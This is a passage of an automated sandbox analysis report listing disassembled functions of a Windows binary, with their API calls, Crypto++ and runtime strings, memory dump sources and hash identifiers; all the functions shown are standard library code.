                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A52A6F
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A52A7D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
                                  • String ID:
                                  • API String ID: 4286982218-0
                                  • Opcode ID: 33c06a4345d6808683097ba1cb2fbda24737bad91787f5c4244545e88f70ba0d
                                  • Instruction ID: bcae7c129f920f3d97165bf8a49feb9dd6530ce3ad8bc10155cf75a1c2003825
                                  • Opcode Fuzzy Hash: 33c06a4345d6808683097ba1cb2fbda24737bad91787f5c4244545e88f70ba0d
                                  • Instruction Fuzzy Hash: 4EE04F3160010AA6CF10ABA09D06BBF77BC7B01745F408854B916D50A2DB35D5198BA4
                                  Function 00A52B07 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • TlsSetValue.KERNEL32(?,00000000,00A57D16,00000000,?,?,00A51F19,?,?,?,00000000,?,00000000), ref: 00A52B13
                                  • GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A52B1F
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A52B35
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A52B43
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
                                  • String ID:
                                  • API String ID: 1964976909-0
                                  • Opcode ID: 414c7179ae3057c9783c091dd39e5432c73bd12a5a9db33fb99ad3bde85c4ad5
                                  • Instruction ID: 63de5f9bed21348451c6cb881085662e98d5ff2d5b222de08cb7a850f599fbdd
                                  • Opcode Fuzzy Hash: 414c7179ae3057c9783c091dd39e5432c73bd12a5a9db33fb99ad3bde85c4ad5
                                  • Instruction Fuzzy Hash: FBE04F3161010AABCF10AFA09D06BBE777CBA01345F404954B912D50A1EB35D51987A4
                                  Function 00A52AAE Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • TlsAlloc.KERNEL32(?,00A51F19), ref: 00A52AB4
                                  • GetLastError.KERNEL32 ref: 00A52AC1
                                  • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00A52AD7
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A52AE5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
                                  • String ID:
                                  • API String ID: 3103352999-0
                                  • Opcode ID: 59ff684c19e8af3d4c32c0923255db8b71513b133f6f85e924f6b5e3716bfed9
                                  • Instruction ID: 38dff3a682171b996702e87f76fc8776e9bb9e3ba0b72d7f29b5fc58d608a299
                                  • Opcode Fuzzy Hash: 59ff684c19e8af3d4c32c0923255db8b71513b133f6f85e924f6b5e3716bfed9
                                  • Instruction Fuzzy Hash: 2AE0C23060010A668B10F7B49D0A7BF327CBA01359B500B54FA22D00E2EF74D81D47B0
                                  Function 00A0EDA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 204COMMON
                                  Download Yara Rule
                                  APIs
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 00A0EFB2
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ___std_exception_copy
                                  • String ID: 0
                                  • API String ID: 2659868963-4108050209
                                  • Opcode ID: b8171a01263ad3e17672a857fdf994a294399020996d86b1669f85a22e582cec
                                  • Instruction ID: 8a1669daeb5be4d21f7d912137c455701b0279f4363f3a0b79a804ba3722138e
                                  • Opcode Fuzzy Hash: b8171a01263ad3e17672a857fdf994a294399020996d86b1669f85a22e582cec
                                  • Instruction Fuzzy Hash: 12719C71D0064DEFDB14CFA8D941BAEFBB8FF58314F14861AE815A7280E774AA45CB90
                                  Function 00A7C88D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __startOneArgErrorHandling.LIBCMT ref: 00A7C91D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorHandling__start
                                  • String ID: pow
                                  • API String ID: 3213639722-2276729525
                                  • Opcode ID: 7a12a0a40bdc1fecf0eeae9ee6b150e9370dd7f6e4cd5078054b379472af2da3
                                  • Instruction ID: 7c18edcba0c42212c6cf2d104ed9ae3fd32f346ad85896a9acc3c00a9611c923
                                  • Opcode Fuzzy Hash: 7a12a0a40bdc1fecf0eeae9ee6b150e9370dd7f6e4cd5078054b379472af2da3
                                  • Instruction Fuzzy Hash: 1F515171A0810696EB15B758CD4137A37B4DB60761F20CD5EF0D9462E9EB34CCD2AB87
                                  Function 00A0C430 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0C59D
                                  Strings
                                  • StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher, xrefs: 00A0C577
                                  • BlockPaddingScheme, xrefs: 00A0C52D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: BlockPaddingScheme$StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher
                                  • API String ID: 2005118841-3582606076
                                  • Opcode ID: 85cc9e819c24866f1de24840d94612e8b57ee3fad33a5d88930834f3088b26a9
                                  • Instruction ID: 3fe2f0c40989459c967982a345be8673ea9c9777e1eef455fcb95f3d84670fd7
                                  • Opcode Fuzzy Hash: 85cc9e819c24866f1de24840d94612e8b57ee3fad33a5d88930834f3088b26a9
                                  • Instruction Fuzzy Hash: A4519C71A00749EFCB14DFA4C944BAEBBF4FF0A714F10455AE412AB391D7B1AA08CB90
                                  Function 00A0F490 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0F5A5
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 00A0F5F2
                                  Strings
                                  • MontgomeryRepresentation: Montgomery representation requires an odd modulus, xrefs: 00A0F57F
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw___std_exception_copy
                                  • String ID: MontgomeryRepresentation: Montgomery representation requires an odd modulus
                                  • API String ID: 284963293-124676765
                                  • Opcode ID: efced26bad6da7d83531b16fdcfc68f705e409181d9dbcb8459747c123b0cfb5
                                  • Instruction ID: dec7b23e3092c65d3d16a2fd7703b45c4968f0402f667513605b0fba7c212d07
                                  • Opcode Fuzzy Hash: efced26bad6da7d83531b16fdcfc68f705e409181d9dbcb8459747c123b0cfb5
                                  • Instruction Fuzzy Hash: 2C518F7190060AFFCB01DFA4C941F9AFBF8FF19314F10866AE415A7A90E7B5A654CB90
                                  Function 00A46B6E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: H_prolog3_ctype
                                  • String ID: %.0Lf
                                  • API String ID: 2548254987-1402515088
                                  • Opcode ID: 269b66a66ed470b84adc6099fec48183e2736f60cc7172fb8a32c108a93b9832
                                  • Instruction ID: cccd1c8ab788cc8a13f49cfcf43e1c93b00d46a23937dea9e6bb37f6d9fd15f2
                                  • Opcode Fuzzy Hash: 269b66a66ed470b84adc6099fec48183e2736f60cc7172fb8a32c108a93b9832
                                  • Instruction Fuzzy Hash: B4417676E00208ABCF05EFD0CC45BEE7BB9FB45305F108448E845AB291DB755A19CB91
                                  Function 00A46E0E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: H_prolog3_ctype
                                  • String ID: %.0Lf
                                  • API String ID: 2548254987-1402515088
                                  • Opcode ID: cf9b6aaa654115ea3d463b8136228902a6854aee59427ddf82025be89e8a37ea
                                  • Instruction ID: 31218f00df205712209c3684c4c875f2ee3c498a63e9fcb554041d8362d10bd1
                                  • Opcode Fuzzy Hash: cf9b6aaa654115ea3d463b8136228902a6854aee59427ddf82025be89e8a37ea
                                  • Instruction Fuzzy Hash: 4B418776E00208ABCF05EFD0DC45BEE7BB9BF45301F104448E955AB291DB759A19CF91
                                  Function 00A4B47E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: H_prolog3_ctype
                                  • String ID: %.0Lf
                                  • API String ID: 2548254987-1402515088
                                  • Opcode ID: 7227340e9ee5deea71d6981d685e52eb9e6f9c46edff5c4fd862bf73f160c2f3
                                  • Instruction ID: 1060da6bed1b17fd75b08870badb8a43d5de35d08de8f31a4c8e70bf5dfe9c69
                                  • Opcode Fuzzy Hash: 7227340e9ee5deea71d6981d685e52eb9e6f9c46edff5c4fd862bf73f160c2f3
                                  • Instruction Fuzzy Hash: D5419972D00209ABCF01EFD0C845BEEBBB9BF48300F104549E956AB296DB759919CFA1
                                  Function 00A6A975 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00A6A99A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: EncodePointer
                                  • String ID: MOC$RCC
                                  • API String ID: 2118026453-2084237596
                                  • Opcode ID: f71845f1bc6c7f36496815daed6392d9f1972650167915729e4c1f49a10d64fd
                                  • Instruction ID: 7239d6f5e63a8dd01b7b60ed955824e585a24c93dac6b653ec8b261ddb34f906
                                  • Opcode Fuzzy Hash: f71845f1bc6c7f36496815daed6392d9f1972650167915729e4c1f49a10d64fd
                                  • Instruction Fuzzy Hash: C1416972900109AFCF15DF98CA81AEE7BB5FF68344F15815AFA0476211E3359950DF51
                                  Function 00A46A31 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_GS.LIBCMT ref: 00A46A38
                                    • Part of subcall function 00A3B22F: __EH_prolog3.LIBCMT ref: 00A3B236
                                    • Part of subcall function 00A3B22F: std::_Lockit::_Lockit.LIBCPMT ref: 00A3B240
                                    • Part of subcall function 00A3B22F: std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B2B1
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
                                  • String ID: %.0Lf$0123456789-
                                  • API String ID: 2728201062-3094241602
                                  • Opcode ID: 6303294df078f8d4761e8bfaecbbcdef87f6873627d8ad40ca0ba232399cbd03
                                  • Instruction ID: d2b55ad263fb610491d4f70159a1019cd63d065d86dc001c6686ad2d1339dd22
                                  • Opcode Fuzzy Hash: 6303294df078f8d4761e8bfaecbbcdef87f6873627d8ad40ca0ba232399cbd03
                                  • Instruction Fuzzy Hash: 1341AE36A00519DFCF05DF94C980AEE7BB2FF89314F144068E901BB255DB709E56CBA2
                                  Function 00A46CD1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_GS.LIBCMT ref: 00A46CD8
                                    • Part of subcall function 009FC470: std::_Lockit::_Lockit.LIBCPMT ref: 009FC4BC
                                    • Part of subcall function 009FC470: std::_Lockit::_Lockit.LIBCPMT ref: 009FC4DE
                                    • Part of subcall function 009FC470: std::_Lockit::~_Lockit.LIBCPMT ref: 009FC4FE
                                    • Part of subcall function 009FC470: std::_Lockit::~_Lockit.LIBCPMT ref: 009FC5FC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
                                  • String ID: 0123456789-$0123456789-
                                  • API String ID: 2088892359-2494171821
                                  • Opcode ID: eb7aee5ed1c0c65b7d1c9bcb01f0f769a35626bab50b9010f070597024ad2bd5
                                  • Instruction ID: 72c3961b1b8019990492c4e4c21afa27e2d4e5507cec088c22b79ae2468acb97
                                  • Opcode Fuzzy Hash: eb7aee5ed1c0c65b7d1c9bcb01f0f769a35626bab50b9010f070597024ad2bd5
                                  • Instruction Fuzzy Hash: B6417935E00619DFCF05DF94C980AEE7BB2FF85315F140058E901AB295DB70AE5ACBA2
                                  Function 00A0EA50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0EB4B
                                  Strings
                                  • StringStore: missing InputBuffer argument, xrefs: 00A0EB25
                                  • InputBuffer, xrefs: 00A0EAB1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: InputBuffer$StringStore: missing InputBuffer argument
                                  • API String ID: 2005118841-2380213735
                                  • Opcode ID: af11a8d1183060c979f54929a430c205d15b09ada2408735ce0584ea51ed027e
                                  • Instruction ID: 20030455a9f5f1d87bbd7a5b036966c946be1b9ba29c3bd96db4b7948b2cea0b
                                  • Opcode Fuzzy Hash: af11a8d1183060c979f54929a430c205d15b09ada2408735ce0584ea51ed027e
                                  • Instruction Fuzzy Hash: 2E317A70A00748EFCB10CFA8C954B9EBBF4FF49714F108669E416AB381DB75A908CB90
                                  Function 00A9205D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __dosmaperr_free
                                  • String ID: SystemRoot
                                  • API String ID: 3116789124-2034820756
                                  • Opcode ID: 26816a396a08b1608da1ed8a3902be071c414d4fed28aa2b952470df0a3dcdce
                                  • Instruction ID: 0bb545b87ea86b28f6b786d06769666571ae605443741632358949b1239e20ae
                                  • Opcode Fuzzy Hash: 26816a396a08b1608da1ed8a3902be071c414d4fed28aa2b952470df0a3dcdce
